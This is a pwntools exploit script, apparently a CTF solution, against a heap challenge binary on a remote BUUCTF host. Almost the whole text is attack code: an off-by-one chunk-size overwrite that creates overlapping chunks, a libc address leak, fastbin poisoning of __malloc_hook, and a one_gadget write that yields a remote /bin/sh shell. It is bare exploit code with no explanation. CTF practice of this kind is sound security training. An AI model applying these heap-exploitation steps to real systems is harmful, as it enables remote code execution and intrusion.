1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * banary = './pwn1' ip = 'node4.buuoj.cn' port = 25706 elf = ELF(banary) context.log_level = "debug" local = 0 if local: io = process(banary) else: io = remote(ip, port)
def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() rl = lambda : io.recvline() ru = lambda text : io.recvuntil(text) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')) uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00')) ia = lambda : io.interactive()
def add(size, con = b''): sla(b'choice: ', b'1') sla(b'size?', str(size)) sla(b'content:', con)
def edit(idx, con): sla(b'choice: ', b'2') sla(b'idx?', str(idx)) sla(b'content:', con)
def show(idx): sla(b'choice: ', b'3') sla(b'idx?', str(idx))
def delete(idx): sla(b'choice: ', b'4') sla(b'idx?', str(idx))
add(0x18) add(0x60) add(0x60) add(0x18) edit(0, b'a' * 0x18 + b'\xe1') delete(1) add(0x60) show(2) malloc_hook = uu64() - 88 - 0x10 libcbase = malloc_hook - 0x3C4B10 one = libcbase + 0x4526a ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
''' add(0x60) add(0x18) add(0x10) edit(5, b'a' * 0x18 + b'\x41') add(0x60, p64(0) * 3 + p64(0x51)) delete(6) delete(7) add(0x30, b'a' * 0x18 + p64(0x71) + p64(malloc_hook - 0x23)) add(0x60) add(0x60, b'a' * 11 + p64(one) + p64(libcbase + 0x846C0 + 0xc))
sla(b'choice: ', b'1') sla(b'size?', str(0x10)) ia()
|